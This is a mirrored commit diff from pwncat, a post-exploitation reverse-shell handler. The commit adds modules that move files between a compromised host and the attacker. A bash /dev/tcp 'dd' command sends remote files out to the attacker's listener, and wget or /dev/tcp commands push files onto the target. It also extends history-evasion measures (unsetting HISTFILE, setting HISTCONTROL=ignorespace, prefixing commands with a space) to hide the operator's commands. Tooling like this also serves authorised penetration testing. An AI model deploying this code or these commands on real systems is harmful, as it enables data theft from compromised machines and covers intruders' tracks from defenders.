mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Added bashtcp uploader/downloader and wget uploader
This commit is contained in:
commit
cc3de93b67
@ -5,8 +5,16 @@ from pwncat.downloader.base import Downloader, DownloadError
|
||||
from pwncat.downloader.nc import NetcatDownloader
|
||||
from pwncat.downloader.curl import CurlDownloader
|
||||
from pwncat.downloader.shell import ShellDownloader
|
||||
from pwncat.downloader.wget import WgetDownloader
|
||||
from pwncat.downloader.bashtcp import BashTCPDownloader
|
||||
|
||||
all_downloaders = [NetcatDownloader, CurlDownloader, ShellDownloader]
|
||||
all_downloaders = [
|
||||
NetcatDownloader,
|
||||
CurlDownloader,
|
||||
WgetDownloader,
|
||||
ShellDownloader,
|
||||
BashTCPDownloader,
|
||||
]
|
||||
downloaders = [NetcatDownloader, CurlDownloader]
|
||||
fallback = ShellDownloader
|
||||
|
||||
|
@ -80,6 +80,9 @@ class HttpPostFileReceiver(BaseHTTPRequestHandler):
|
||||
copied += len(block)
|
||||
self.on_progress(copied, len(block))
|
||||
|
||||
def do_POST(self):
|
||||
return self.do_PUT()
|
||||
|
||||
def log_message(self, *args, **kwargs):
|
||||
return
|
||||
|
||||
|
23
pwncat/downloader/bashtcp.py
Normal file
23
pwncat/downloader/bashtcp.py
Normal file
@ -0,0 +1,23 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.downloader.base import RawDownloader, DownloadError
|
||||
|
||||
|
||||
class BashTCPDownloader(RawDownloader):
|
||||
|
||||
NAME = "bashtcp"
|
||||
BINARIES = ["bash", "dd"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(
|
||||
f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,
|
||||
wait=False,
|
||||
)
|
@ -158,6 +158,7 @@ class PtyHandler:
|
||||
self.lhost = None
|
||||
self.known_binaries = {}
|
||||
self.vars = {"lhost": util.get_ip_addr()}
|
||||
self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]"
|
||||
self.remote_prompt = "\\[\\033[01;32m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$"
|
||||
self.prompt = self.build_prompt_session()
|
||||
self.binary_aliases = {
|
||||
@ -177,9 +178,9 @@ class PtyHandler:
|
||||
self.setup_command_parsers()
|
||||
|
||||
# We should always get a response within 3 seconds...
|
||||
self.client.settimeout(3)
|
||||
self.client.settimeout(1)
|
||||
|
||||
util.info("probing for prompt...", overlay=False)
|
||||
util.info("probing for prompt...", overlay=True)
|
||||
start = time.time()
|
||||
prompt = b""
|
||||
try:
|
||||
@ -227,10 +228,10 @@ class PtyHandler:
|
||||
|
||||
# Ensure history is disabled
|
||||
util.info("disabling remote command history", overlay=True)
|
||||
self.run("unset HISTFILE")
|
||||
self.run("unset HISTFILE; export HISTCONTROL=ignorespace")
|
||||
|
||||
util.info("setting terminal prompt", overlay=True)
|
||||
self.run(f'export PS1="(remote) {self.remote_prompt} "')
|
||||
self.run(f'export PS1="{self.remote_prefix} $PS1"')
|
||||
|
||||
# Locate interesting binaries
|
||||
# The auto-resolving doesn't work correctly until we have a pty
|
||||
@ -273,11 +274,11 @@ class PtyHandler:
|
||||
self.has_prompt = True
|
||||
|
||||
util.info("setting terminal prompt", overlay=True)
|
||||
self.run(f'export PS1="(remote) {self.remote_prompt} "')
|
||||
self.run(f'export PS1="{self.remote_prefix} $PS1"')
|
||||
|
||||
# Make sure HISTFILE is unset in this PTY (it resets when a pty is
|
||||
# opened)
|
||||
self.run("unset HISTFILE")
|
||||
self.run("unset HISTFILE; export HISTCONTROL=ignorespace")
|
||||
|
||||
# Synchronize the terminals
|
||||
util.info("synchronizing terminal state", overlay=True)
|
||||
@ -319,7 +320,11 @@ class PtyHandler:
|
||||
}
|
||||
|
||||
return PromptSession(
|
||||
[("", "(local) "), ("#ff0000", "pwncat"), ("", "$ ")],
|
||||
[
|
||||
("fg:ansiyellow bold", "(local) "),
|
||||
("fg:ansimagenta bold", "pwncat"),
|
||||
("", "$ "),
|
||||
],
|
||||
completer=CommandCompleter(completer_graph),
|
||||
auto_suggest=AutoSuggestFromHistory(),
|
||||
)
|
||||
@ -410,10 +415,15 @@ class PtyHandler:
|
||||
self.enter_raw()
|
||||
continue
|
||||
|
||||
if len(line) > 0 and line[0] == "!":
|
||||
# Allow running shell commands
|
||||
subprocess.run(line[1:], shell=True)
|
||||
continue
|
||||
if len(line) > 0:
|
||||
if line[0] == "!":
|
||||
# Allow running shell commands
|
||||
subprocess.run(line[1:], shell=True)
|
||||
continue
|
||||
elif line[0] == "@":
|
||||
result = self.run(line[1:])
|
||||
sys.stdout.buffer.write(result)
|
||||
continue
|
||||
|
||||
argv = shlex.split(line)
|
||||
|
||||
@ -465,7 +475,7 @@ class PtyHandler:
|
||||
with ProgressBar(
|
||||
[("#888888", "downloading with "), ("fg:ansiyellow", f"{download.NAME}")]
|
||||
) as pb:
|
||||
counter = pb(range(os.path.getsize(path)))
|
||||
counter = pb(range(size))
|
||||
last_update = time.time()
|
||||
|
||||
def on_progress(copied, blocksz):
|
||||
@ -550,9 +560,7 @@ class PtyHandler:
|
||||
TERM = os.environ.get("TERM", "xterm")
|
||||
columns, rows = os.get_terminal_size(0)
|
||||
|
||||
self.run(f"stty rows {rows}")
|
||||
self.run(f"stty columns {columns}")
|
||||
self.run(f'export TERM="{TERM}"')
|
||||
self.run(f"stty rows {rows}; stty columns {columns}; export TERM='{TERM}'")
|
||||
|
||||
def do_set(self, argv):
|
||||
""" Set or view the currently assigned variables """
|
||||
@ -600,7 +608,7 @@ class PtyHandler:
|
||||
EOL = b"\r" if has_pty else b"\n"
|
||||
|
||||
if wait:
|
||||
command = f"echo _PWNCAT_DELIM_; {cmd}; echo _PWNCAT_DELIM_"
|
||||
command = f" echo _PWNCAT_DELIM_; {cmd}; echo _PWNCAT_DELIM_"
|
||||
else:
|
||||
command = cmd
|
||||
|
||||
|
@ -5,8 +5,16 @@ from pwncat.uploader.base import Uploader, UploadError
|
||||
from pwncat.uploader.nc import NetcatUploader
|
||||
from pwncat.uploader.curl import CurlUploader
|
||||
from pwncat.uploader.shell import ShellUploader
|
||||
from pwncat.uploader.bashtcp import BashTCPUploader
|
||||
from pwncat.uploader.wget import WgetUploader
|
||||
|
||||
all_uploaders = [NetcatUploader, CurlUploader, ShellUploader]
|
||||
all_uploaders = [
|
||||
NetcatUploader,
|
||||
CurlUploader,
|
||||
ShellUploader,
|
||||
BashTCPUploader,
|
||||
WgetUploader,
|
||||
]
|
||||
uploaders = [NetcatUploader, CurlUploader]
|
||||
fallback = ShellUploader
|
||||
|
||||
|
@ -5,6 +5,7 @@ from socketserver import TCPServer, BaseRequestHandler
|
||||
from functools import partial
|
||||
import threading
|
||||
import socket
|
||||
import os
|
||||
|
||||
from pwncat import util
|
||||
|
||||
@ -96,7 +97,7 @@ class HTTPUploader(Uploader):
|
||||
def serve(self, on_progress: Callable):
|
||||
self.server = HTTPServer(
|
||||
("0.0.0.0", 0),
|
||||
partial(HttpGetFileHandler, downloader=self, on_progress=on_progress),
|
||||
partial(HttpGetFileHandler, uploader=self, on_progress=on_progress),
|
||||
)
|
||||
|
||||
thread = threading.Thread(
|
||||
|
22
pwncat/uploader/bashtcp.py
Normal file
22
pwncat/uploader/bashtcp.py
Normal file
@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import RawUploader
|
||||
|
||||
|
||||
class BashTCPUploader(RawUploader):
|
||||
|
||||
NAME = "bashtcp"
|
||||
BINARIES = ["bash", "dd"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(
|
||||
f"""bash -c "dd of={remote_path} < /dev/tcp/{lhost}/{lport}" """, wait=False
|
||||
)
|
20
pwncat/uploader/wget.py
Normal file
20
pwncat/uploader/wget.py
Normal file
@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Generator
|
||||
import shlex
|
||||
|
||||
from pwncat.uploader.base import HTTPUploader
|
||||
|
||||
|
||||
class WgetUploader(HTTPUploader):
|
||||
|
||||
NAME = "wget"
|
||||
BINARIES = ["wget"]
|
||||
|
||||
def command(self) -> Generator[str, None, None]:
|
||||
""" Generate the curl command to post the file """
|
||||
|
||||
lhost = self.pty.vars["lhost"]
|
||||
lport = self.server.server_address[1]
|
||||
remote_path = shlex.quote(self.remote_path)
|
||||
|
||||
self.pty.run(f"wget -O {remote_path} http://{lhost}:{lport}", wait=False)
|
@ -56,7 +56,7 @@ def enter_raw_mode():
|
||||
"""
|
||||
|
||||
info("setting terminal to raw mode and disabling echo", overlay=True)
|
||||
success("pwncat is ready\n", overlay=True)
|
||||
success("pwncat is ready 🐈\n", overlay=True)
|
||||
|
||||
# Ensure we don't have any weird buffering issues
|
||||
sys.stdout.flush()
|
||||
|
Loading…
Reference in New Issue
Block a user